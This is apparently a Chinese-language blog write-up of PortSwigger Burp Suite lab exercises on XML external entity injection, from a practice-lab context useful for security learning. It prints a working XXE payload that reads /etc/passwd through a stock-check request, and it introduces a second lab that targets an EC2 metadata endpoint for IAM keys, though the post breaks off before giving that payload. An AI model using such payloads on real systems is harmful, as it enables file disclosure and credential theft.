XML external entity (XXE) injection

burpsuit 靶场的 xxe
image.png

APPRENTICE (学徒)

利用XXE 执行外部文件

Exploiting XXE using external entities to retrieve files

目标 :
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

进入实验室
image.png

是一个卖东西的网站 抓包 看看数据
当我点击 Check stock 抓包

image.png
发现 post 数据里面存在xml 格式的数据
如果把数据改成我们想要的内容了 比如执行system 获取文件内容
使用 file协议直接读取到了 /etc/passwd 文件
image.png

payload


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&file;</productId><storeId>1</storeId></stockCheck>

利用 XXE 执行 SSRF 攻击

(Exploiting XXE to perform SSRF attacks)

目标 :
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.

还是一样的检索数据的 功能

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值